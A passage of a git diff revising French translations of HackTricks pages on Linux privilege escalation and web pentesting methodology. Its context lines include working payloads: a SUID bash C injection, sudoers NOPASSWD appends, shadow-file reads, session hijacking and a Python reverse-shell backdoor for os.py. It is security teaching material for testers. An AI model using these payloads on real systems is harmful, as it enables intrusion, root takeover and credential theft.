sous le nom de préchargement d'une bibliothèque. +La variable d'environnement **LD\_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque. -Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : +Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions : -* Le chargeur ignore **LD\_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). -* Pour les exécutables avec suid/sgid, seules les bibliothèques dans les chemins standard qui sont également suid/sgid sont préchargées. +- Le chargeur ignore **LD\_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_). +- Pour les exécutables avec suid/sgid, seules les bibliothèques dans les chemins standard qui sont également suid/sgid sont préchargées. Une élévation de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env\_keep+=LD\_PRELOAD**. Cette configuration permet à la variable d'environnement **LD\_PRELOAD** de persister et d'être reconnue même lorsque les commandes sont exécutées avec `sudo`, ce qui peut potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés. ``` @@ -858,7 +862,7 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### Binaire SUID - Injection .so -Lorsque vous rencontrez un binaire avec des permissions **SUID** qui semblent inhabituelles, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : +Lorsque vous rencontrez un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante : ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` @@ -875,15 +879,15 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les autorisations de fichier et en exécutant un shell avec des privilèges élevés. +Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les autorisations de fichiers et en exécutant un shell avec des privilèges élevés. -Compilez le fichier C ci-dessus dans un fichier objet partagé (.so) avec : +Compilez le fichier C ci-dessus en un fichier objet partagé (.so) avec : ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -## Substitution de l'objet partagé - Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système. + +## Hijacking d'Objet Partagé ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -914,9 +918,9 @@ Cela signifie que la bibliothèque que vous avez générée doit avoir une fonct ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix pouvant être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est similaire mais pour les cas où vous ne pouvez **injecter que des arguments** dans une commande. +[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous ne pouvez **injecter que des arguments** dans une commande. -Le projet recueille les fonctions légitimes des binaires Unix qui peuvent être abusées pour s'échapper des shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des shells bind et reverse, et faciliter d'autres tâches de post-exploitation. +Le projet recueille les fonctions légitimes des binaires Unix qui peuvent être abusées pour s'échapper des shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des shells bind et reverse, et faciliter les autres tâches de post-exploitation. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -940,7 +944,7 @@ Conditions requises pour escalader les privilèges : * Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_" * "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans saisir de mot de passe) * `cat /proc/sys/kernel/yama/ptrace_scope` est à 0 -* `gdb` est accessible (vous devez pouvoir le télécharger) +* `gdb` est accessible (vous pouvez le télécharger) (Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou le modifier définitivement dans `/etc/sysctl.d/10-ptrace.conf` en définissant `kernel.yama.ptrace_scope = 0`) @@ -977,7 +981,7 @@ Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` co ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Si vous pouvez écrire, vous pouvez abuser de cette permission +Si vous pouvez écrire, vous pouvez abuser de cette permission. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1001,7 +1005,7 @@ Si vous savez qu'un **utilisateur se connecte généralement à une machine et u Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py) -Ou exécutez quelque chose comme : +Ou exécuter quelque chose comme : ```bash cat >/tmp/sudo </dev/null ``` -## Ouverture de sessions shell +## Sessions de shell ouvertes -Dans les **anciennes versions**, vous pouvez **détourner** une session **shell** d'un utilisateur différent (**root**).\ -Dans les **nouvelles versions**, vous pourrez **vous connecter** uniquement aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. +Dans les **anciennes versions**, vous pouvez **détourner** une session de **shell** d'un utilisateur différent (**root**).\ +Dans les **nouvelles versions**, vous pourrez **vous connecter** uniquement aux sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**. ### Détournement de sessions screen @@ -1105,15 +1109,17 @@ Dans les **nouvelles versions**, vous pourrez **vous connecter** uniquement aux screen -ls screen -ls / # Show another user' screen sessions ``` +![](<../../.gitbook/assets/image (138).png>) + **Attacher à une session** ```bash screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## Détournement de sessions tmux +## Capture de sessions tmux -C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. +C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas pu capturer une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié. **Lister les sessions tmux** ```bash @@ -1121,8 +1127,6 @@ tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess ``` -![](<../../.gitbook/assets/image (834).png>) - **Attacher à une session** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one @@ -1146,14 +1150,14 @@ Ce bogue est causé lors de la création d'une nouvelle clé ssh dans ces systè * **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. Par défaut, c'est `no`. * **PubkeyAuthentication:** Spécifie si l'authentification par clé publique est autorisée. Par défaut, c'est `yes`. -* **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur autorise la connexion aux comptes avec des chaînes de mot de passe vides. Par défaut, c'est `no`. +* **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur autorise la connexion aux comptes avec des chaînes de caractères de mot de passe vides. Par défaut, c'est `no`. ### PermitRootLogin -Spécifie si root peut se connecter en utilisant ssh, par défaut c'est `no`. Les valeurs possibles sont : +Spécifie si root peut se connecter en utilisant ssh, par défaut c'est `no`. Les valeurs possibles sont: * `yes`: root peut se connecter en utilisant un mot de passe et une clé privée -* `without-password` ou `prohibit-password`: root peut uniquement se connecter avec une clé privée +* `without-password` ou `prohibit-password`: root peut seulement se connecter avec une clé privée * `forced-commands-only`: Root peut se connecter uniquement en utilisant une clé privée et si les options de commandes sont spécifiées * `no` : non @@ -1163,11 +1167,11 @@ Spécifie les fichiers contenant les clés publiques pouvant être utilisées po ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Cette configuration indiquera que si vous essayez de vous connecter avec la clé **privée** de l'utilisateur "**nomutilisateurtest**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/nomutilisateurtest/.ssh/authorized_keys` et `/home/nomutilisateurtest/access` +Cette configuration indiquera que si vous essayez de vous connecter avec la clé **privée** de l'utilisateur "**nomutilisateurdetest**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/nomutilisateurdetest/.ssh/authorized_keys` et `/home/nomutilisateurdetest/access` ### ForwardAgent/AllowAgentForwarding -Le transfert d'agent SSH vous permet d'**utiliser vos clés SSH locales au lieu de laisser des clés** (sans phrase secrète !) assises sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**. +Le transfert d'agent SSH vous permet d'**utiliser vos clés SSH locales au lieu de laisser des clés** (sans phrases secrètes !) assises sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**. Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci: ``` @@ -1177,7 +1181,7 @@ ForwardAgent yes Notez que si `Host` est `*` chaque fois que l'utilisateur saute sur une machine différente, cette machine pourra accéder aux clés (ce qui est un problème de sécurité). Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou refuser cette configuration.\ -Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** la redirection de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, c'est autorisé). +Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, c'est autorisé). Si vous constatez que l'Agent Forward est configuré dans un environnement, lisez la page suivante car **vous pourriez l'exploiter pour escalader les privilèges** : @@ -1197,14 +1201,14 @@ Si un script de profil étrange est trouvé, vous devriez le vérifier pour **de ### Fichiers Passwd/Shadow -Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Par conséquent, il est recommandé de **trouver tous** ces fichiers et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers : +Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Par conséquent, il est recommandé de **trouver tous ces fichiers** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers : ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Dans certaines occasions, vous pouvez trouver des **empreintes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent) +Dans certaines occasions, vous pouvez trouver des **hachages de mots de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent) ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1232,7 +1236,7 @@ su - dummy ``` NOTE: Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`. -Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ? +Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1276,7 +1280,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` -### \*\_historique, .sudo_as_admin_reussi, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers +### Fichiers \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml ```bash find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null ``` @@ -1287,7 +1291,7 @@ find / -type f -iname ".*" -ls 2>/dev/null ### **Scripts/Binaires dans le PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done -for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done +for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` ### **Fichiers Web** ```bash @@ -1329,13 +1333,13 @@ Pour **lire les journaux du groupe** [**adm**](interesting-groups-linux-pe/#adm- ### Recherche générique de mots de passe/Regex Vous devriez également vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou à l'intérieur du **contenu**, et vérifier également les adresses IP et les e-mails dans les journaux, ou les regexps de hachages.\ -Je ne vais pas énumérer ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez vérifier les dernières vérifications effectuées par [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh). +Je ne vais pas énumérer ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez vérifier les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue. ## Fichiers inscriptibles ### Détournement de bibliothèque Python -Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire à l'intérieur** de ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez-collez la bibliothèque os.py). +Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire à l'intérieur** de ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py). Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez l'IP et le PORT) : ```python @@ -1343,7 +1347,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s ``` ### Exploitation de Logrotate -Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant des **permissions d'écriture** sur un fichier journal ou ses répertoires parent de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires tels que _**/etc/bash\_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée. +Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant des **permissions d'écriture** sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash\_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée. {% hint style="info" %} Cette vulnérabilité affecte la version `3.18.0` et les versions antérieures de `logrotate` @@ -1353,13 +1357,13 @@ Des informations plus détaillées sur la vulnérabilité peuvent être trouvée Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten). -Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx)**, donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez obtenir des privilèges élevés en remplaçant les journaux par des liens symboliques. +Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx)**, donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez escalader les privilèges en substituant les journaux par des liens symboliques. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Référence de la vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f) -Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** s'il peut **ajuster** un script existant, alors votre **système est compromis**. +Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-` dans _/etc/sysconfig/network-scripts_ **ou** de **ajuster** un existant, alors votre **système est compromis**. Les scripts réseau, par exemple _ifcg-eth0_, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourcés\~ sur Linux par Network Manager (dispatcher.d). diff --git a/network-services-pentesting/pentesting-web/README.md b/network-services-pentesting/pentesting-web/README.md index 485e2c6b5..f8125eb4b 100644 --- a/network-services-pentesting/pentesting-web/README.md +++ b/network-services-pentesting/pentesting-web/README.md @@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub. @@ -43,7 +43,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ## Résumé de la méthodologie -> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Ainsi, vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. +> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre. * [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous parvenez à identifier avec succès la technologie. * [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie? @@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 * [ ] Un **scanner spécialisé** à exécuter (comme wpscan)? * [ ] Lancez des **scanners à usage général**. On ne sait jamais s'ils vont trouver quelque chose ou s'ils vont trouver des informations intéressantes. * [ ] Commencez par les **vérifications initiales**: **robots**, **plan du site**, erreur **404** et analyse **SSL/TLS** (si HTTPS). -* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres** possibles utilisés. Vérifiez également les **découvertes spéciales**. +* [ ] Commencez à **explorer** la page web : Il est temps de **trouver** tous les **fichiers, dossiers** et **paramètres possibles** utilisés. Vérifiez également les **découvertes spéciales**. * [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être exploré._ * [ ] **Brute-Force des répertoires** : Essayez de forcer le passage à tous les dossiers découverts à la recherche de nouveaux **fichiers** et **répertoires**. -* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis au Brute-Force._ +* [ ] _Notez qu'à chaque fois qu'un nouveau répertoire est découvert lors du brute-forcing ou de l'exploration, il doit être soumis à un brute-force._ * [ ] **Vérification des sauvegardes** : Testez si vous pouvez trouver des **sauvegardes** des **fichiers découverts** en ajoutant des extensions de sauvegarde courantes. * [ ] **Brute-Force des paramètres** : Essayez de **trouver des paramètres cachés**. -* [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant une **entrée utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées. +* [ ] Une fois que vous avez **identifié** tous les **points d'extrémité** possibles acceptant des **entrées utilisateur**, vérifiez tous les types de **vulnérabilités** qui y sont liées. * [ ] [Suivez cette liste de contrôle](../../pentesting-web/web-vulnerabilities-methodology.md) ## Version du serveur (Vulnérable?) @@ -65,7 +65,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0 ### Identifier Vérifiez s'il existe des **vulnérabilités connues** pour la **version** du serveur en cours d'exécution.\ -Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. Un scan **Nmap** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles. +Les **en-têtes HTTP et les cookies de la réponse** pourraient être très utiles pour **identifier** les **technologies** et/ou la **version** utilisée. **Nmap scan** peut identifier la version du serveur, mais les outils [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)ou [**https://builtwith.com/**](https://builtwith.com)**:** pourraient également être utiles. ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive @@ -128,7 +128,7 @@ Si le **code source** de l'application est disponible sur **github**, en plus de * Les **mots de passe** sont-ils en **texte brut**, **chiffrés** ou quel **algorithme de hachage** est utilisé ? * Utilise-t-il une **clé principale** pour chiffrer quelque chose ? Quel **algorithme** est utilisé ? * Pouvez-vous **accéder à l'un de ces fichiers** en exploitant une vulnérabilité ? -* Y a-t-il des **informations intéressantes dans les problèmes** (résolus et non résolus) de github ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ? +* Y a-t-il des **informations intéressantes dans les problèmes** github (résolus et non résolus) ? Ou dans l'**historique des validations** (peut-être un **mot de passe introduit dans une ancienne validation**) ? {% content-ref url="code-review-tools.md" %} [code-review-tools.md](code-review-tools.md) @@ -167,7 +167,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs ## Découverte de l'application Web étape par étape -> À partir de ce point, nous allons commencer à interagir avec l'application Web. +> À partir de ce point, nous allons commencer à interagir avec l'application web. ### Vérifications initiales @@ -182,7 +182,7 @@ joomlavs.rb #https://github.com/rastating/joomlavs **Forcer des erreurs** -Les serveurs Web peuvent **avoir un comportement inattendu** lorsqu'ils reçoivent des données étranges. Cela peut ouvrir des **vulnérabilités** ou **révéler des informations sensibles**. +Les serveurs web peuvent **avoir un comportement inattendu** lorsqu'ils reçoivent des données étranges. Cela peut ouvrir des **vulnérabilités** ou **divulguer des informations sensibles**. * Accédez à des **pages fictives** comme /whatever\_fake.php (.aspx,.html,.etc) * Ajoutez "\[]", "]]", et "\[\[" dans les valeurs des **cookies** et des **paramètres** pour créer des erreurs @@ -194,14 +194,14 @@ Les serveurs Web peuvent **avoir un comportement inattendu** lorsqu'ils reçoive Si vous découvrez que **WebDav** est **activé** mais que vous n'avez pas suffisamment d'autorisations pour **télécharger des fichiers** dans le dossier racine, essayez de : * **Forcer** les identifiants par **brute force** -* **Téléchargez des fichiers** via WebDav dans le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir les autorisations pour télécharger des fichiers dans d'autres dossiers. +* **Téléchargez des fichiers** via WebDav vers le **reste** des **dossiers trouvés** à l'intérieur de la page web. Vous pouvez avoir l'autorisation de télécharger des fichiers dans d'autres dossiers. ### **Vulnérabilités SSL/TLS** -* Si l'application **n'impose pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)** +* Si l'application **ne force pas l'utilisation de HTTPS** à un moment donné, alors elle est **vulnérable aux attaques de l'homme du milieu (MitM)** * Si l'application **envoie des données sensibles (mots de passe) en utilisant HTTP**. Alors c'est une vulnérabilité élevée. -Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime à la découverte de bugs, ce type de vulnérabilités ne sera probablement pas accepté) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités: +Utilisez [**testssl.sh**](https://github.com/drwetter/testssl.sh) pour vérifier les **vulnérabilités** (dans les programmes de prime de bug, ces types de vulnérabilités ne seront probablement pas acceptées) et utilisez [**a2sv** ](https://github.com/hahwul/a2sv) pour re-vérifier les vulnérabilités: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -215,7 +215,7 @@ sslyze --regular Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée est de **trouver autant de chemins que possible** à partir de l'application testée. Par conséquent, le crawling web et les sources externes doivent être utilisés pour trouver autant de chemins valides que possible. * [**gospider**](https://github.com/jaeles-project/gospider) (go) : Araignée HTML, LinkFinder dans les fichiers JS et sources externes (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HML, avec LinkFider pour les fichiers JS et Archive.org comme source externe. +* [**hakrawler**](https://github.com/hakluke/hakrawler) (go) : Araignée HTML, avec LinkFinder pour les fichiers JS et Archive.org comme source externe. * [**dirhunt**](https://github.com/Nekmo/dirhunt) (python) : Araignée HTML, indique également les "fichiers juteux". * [**evine**](https://github.com/saeeddhqan/evine) (go) : Araignée HTML interactive en CLI. Il recherche également dans Archive.org. * [**meg**](https://github.com/tomnomnom/meg) (go) : Cet outil n'est pas une araignée mais peut être utile. Vous pouvez simplement indiquer un fichier avec des hôtes et un fichier avec des chemins et meg récupérera chaque chemin sur chaque hôte et enregistrera la réponse. @@ -224,7 +224,7 @@ Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée e * [**ParamSpider**](https://github.com/devanshbatham/ParamSpider) : Ce script trouvera des URL avec des paramètres et les listera. * [**galer**](https://github.com/dwisiswant0/galer) (go) : Araignée HTML avec des capacités de rendu JS. * [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python) : Araignée HTML, avec des capacités de beauté JS capable de rechercher de nouveaux chemins dans les fichiers JS. Il pourrait également être intéressant de jeter un œil à [JSScanner](https://github.com/dark-warlord14/JSScanner), qui est un wrapper de LinkFinder. -* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers javascript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique. +* [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go) : Pour extraire des points de terminaison à la fois dans la source HTML et les fichiers JavaScript intégrés. Utile pour les chasseurs de bugs, les équipes rouges, les ninjas de la sécurité informatique. * [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7) : Un script python 2.7 utilisant Tornado et JSBeautifier pour analyser les URL relatives à partir de fichiers JavaScript. Utile pour découvrir facilement les requêtes AJAX. Semble ne pas être maintenu. * [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby) : Étant donné un fichier (HTML), il extraira les URL à partir de celui-ci en utilisant une expression régulière astucieuse pour trouver et extraire les URL relatives des fichiers moches (minifiés). * [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, plusieurs outils) : Rassemble des informations intéressantes à partir de fichiers JS en utilisant plusieurs outils. @@ -236,19 +236,20 @@ Lancez une sorte d'**araignée** à l'intérieur du web. Le but de l'araignée e * [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder) : C'est un outil utilisé pour découvrir des points de terminaison pour une cible donnée. * [**waymore**](https://github.com/xnl-h4ck3r/waymore) : Découvrir des liens à partir de la machine wayback (en téléchargeant également les réponses dans le wayback et en recherchant plus de liens). * 